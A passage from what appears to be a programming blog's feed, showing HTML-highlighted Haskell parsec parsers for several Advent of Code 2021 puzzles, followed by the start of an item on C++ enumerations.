&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;many1&lt;/span&gt; &lt;span style="color:#111"&gt;digit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;_&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;char&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#39;,&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;y&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;many1&lt;/span&gt; &lt;span style="color:#111"&gt;digit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;return&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;HV&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Point&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;HV&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;x&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#111"&gt;read&lt;/span&gt; &lt;span style="color:#111"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Int&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;HV&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;y&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;read&lt;/span&gt; &lt;span style="color:#111"&gt;y&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Int&lt;/span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;reportError&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;ParseError&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;reportError&lt;/span&gt; &lt;span style="color:#111"&gt;e&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStrLn&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Error parsing input&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt; &lt;span style="color:#111"&gt;e&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;parseHydrothermalVents&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;FilePath&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;HV&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;LineSegment&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;parseHydrothermalVents&lt;/span&gt; &lt;span style="color:#111"&gt;fp&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;dataFp&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;getDataFileName&lt;/span&gt; &lt;span style="color:#111"&gt;fp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;fileContents&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;readFile&lt;/span&gt; &lt;span style="color:#111"&gt;dataFp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;case&lt;/span&gt; &lt;span style="color:#111"&gt;parse&lt;/span&gt; &lt;span style="color:#111"&gt;hydrothermalFile&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Hydrothermal Parser&amp;#34;&lt;/span&gt; &lt;span style="color:#111"&gt;fileContents&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;of&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;Left&lt;/span&gt; &lt;span style="color:#111"&gt;e&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;&lt;span style="color:#111"&gt;reportError&lt;/span&gt; &lt;span style="color:#111"&gt;e&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#111"&gt;return&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;[]&lt;/span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;Right&lt;/span&gt; &lt;span style="color:#111"&gt;r&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;return&lt;/span&gt; &lt;span style="color:#111"&gt;r&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;singleLineCommaDelimitedFile&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Parser&lt;/span&gt; &lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Int&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;singleLineCommaDelimitedFile&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;sepBy&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;many1&lt;/span&gt; &lt;span style="color:#111"&gt;digit&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#111"&gt;return&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;read&lt;/span&gt; &lt;span style="color:#111"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Int&lt;/span&gt;&lt;span style="color:#111"&gt;))&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;char&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#39;,&amp;#39;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;parseSingleLineCommaDelimitedFile&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;FilePath&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Int&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;parseSingleLineCommaDelimitedFile&lt;/span&gt; &lt;span style="color:#111"&gt;fp&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;dataFp&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;getDataFileName&lt;/span&gt; &lt;span style="color:#111"&gt;fp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;fileContents&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;readFile&lt;/span&gt; &lt;span style="color:#111"&gt;dataFp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;case&lt;/span&gt; &lt;span style="color:#111"&gt;parse&lt;/span&gt; &lt;span style="color:#111"&gt;singleLineCommaDelimitedFile&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Single Comma-Delimited Int Parser&amp;#34;&lt;/span&gt; &lt;span style="color:#111"&gt;fileContents&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;of&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;Left&lt;/span&gt; &lt;span style="color:#111"&gt;e&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;&lt;span style="color:#111"&gt;reportError&lt;/span&gt; &lt;span style="color:#111"&gt;e&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#111"&gt;return&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;[]&lt;/span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;Right&lt;/span&gt; &lt;span style="color:#111"&gt;r&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;return&lt;/span&gt; &lt;span style="color:#111"&gt;r&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="day-06-lanternfish"&gt;Day 06: Lanternfish&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-hs" data-lang="hs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;parseLanternfishInternalTimers&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;FilePath&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Int&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;parseLanternfishInternalTimers&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;parseSingleLineCommaDelimitedFile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="day-07-treachery-of-whales"&gt;Day 07: Treachery of Whales&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-hs" data-lang="hs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;parseHorizontalCrabPositions&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;FilePath&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Int&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;parseHorizontalCrabPositions&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;parseSingleLineCommaDelimitedFile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="day-08-seven-segment-search"&gt;Day 08: Seven Segment Search&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-hs" data-lang="hs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- Sample line:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- fgaebd cg bdaec gdafb agbcfd gdcbef bgcad gfac gcb cdgabef | cg cg fdcagb cbg&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;sevenSegmentsDisplayLine&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Parser&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;SevenSegmentSearch&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;SevenSegmentDisplay&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;sevenSegmentsDisplayLine&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- TODO: Is there syntax for avoiding the intermediate _allSegments variable?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;_allSegments&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;many1&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;noneOf&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;let&lt;/span&gt; &lt;span style="color:#111"&gt;uniquePatternsAndOutputs&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;splitAt&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#f92672"&gt;$&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Split&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;split&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Split&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;dropDelims&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Split&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;dropInnerBlanks&lt;/span&gt; &lt;span style="color:#f92672"&gt;$&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Split&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;oneOf&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;| &amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#111"&gt;_allSegments&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;let&lt;/span&gt; &lt;span style="color:#111"&gt;stringsToIntSets&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;map&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;IntSet&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;fromList&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#111"&gt;map&lt;/span&gt; &lt;span style="color:#111"&gt;ord&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;String&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;IntSet&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;IntSet&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;return&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;SevenSegmentSearch&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;SevenSegmentDisplay&lt;/span&gt;&lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;SevenSegmentSearch&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;uniquePatterns&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;stringsToIntSets&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;fst&lt;/span&gt; &lt;span style="color:#111"&gt;uniquePatternsAndOutputs&lt;/span&gt;&lt;span style="color:#111"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;SevenSegmentSearch&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;outputValues&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;stringsToIntSets&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;snd&lt;/span&gt; &lt;span style="color:#111"&gt;uniquePatternsAndOutputs&lt;/span&gt;&lt;span style="color:#111"&gt;)}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;sevenSegmentsDisplayFile&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Parser&lt;/span&gt; &lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;SevenSegmentSearch&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;SevenSegmentDisplay&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;sevenSegmentsDisplayFile&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;endBy&lt;/span&gt; &lt;span style="color:#111"&gt;sevenSegmentsDisplayLine&lt;/span&gt; &lt;span style="color:#111"&gt;endOfLine&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;parseSevenSegmentsDisplay&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;FilePath&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;SevenSegmentSearch&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;SevenSegmentDisplay&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;parseSevenSegmentsDisplay&lt;/span&gt; &lt;span style="color:#111"&gt;fp&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;dataFp&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;getDataFileName&lt;/span&gt; &lt;span style="color:#111"&gt;fp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;fileContents&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;readFile&lt;/span&gt; &lt;span style="color:#111"&gt;dataFp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;case&lt;/span&gt; &lt;span style="color:#111"&gt;parse&lt;/span&gt; &lt;span style="color:#111"&gt;sevenSegmentsDisplayFile&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Seven Segment Display&amp;#34;&lt;/span&gt; &lt;span style="color:#111"&gt;fileContents&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;of&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;Left&lt;/span&gt; &lt;span style="color:#111"&gt;e&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;&lt;span style="color:#111"&gt;reportError&lt;/span&gt; &lt;span style="color:#111"&gt;e&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#111"&gt;return&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;[]&lt;/span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;Right&lt;/span&gt; &lt;span style="color:#111"&gt;r&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;&lt;span style="color:#111"&gt;return&lt;/span&gt; &lt;span style="color:#111"&gt;r&lt;/span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I gave up on using &lt;code&gt;parsec&lt;/code&gt; to parse a line of the form &lt;code&gt;cg bdaec gdafb agbcfd gdcbef | cg cg fdcagb cbg&lt;/code&gt; because the &lt;code&gt;|&lt;/code&gt; and space delimiter kept tripping
up my &lt;code&gt;endBy sevenSegmentsDisplayLine endOfLine&lt;/code&gt; construction. Interested in how
others parsed this line.&lt;/p&gt;</description></item><item><title>Enumerations in C++</title><link>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/type-systems/user-defined-types/enumerations-in-cpp/</link><pubDate>Sat, 04 Jun 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/type-systems/user-defined-types/enumerations-in-cpp/</guid><description>&lt;h2 id="unscoped-or-plain-or-c-style-enumerations"&gt;Unscoped (or Plain or C-Style) Enumerations&lt;/h2&gt;
&lt;p&gt;Plain (or C-style) enums are entered in the same scope as the name of
their enum, and implicitly convert to their integer value, e.g.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;enum&lt;/span&gt; &lt;span style="color:#75af00"&gt;Color&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt; &lt;span style="color:#111"&gt;red&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;green&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;blue&lt;/span&gt; &lt;span style="color:#111"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;col&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;green&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
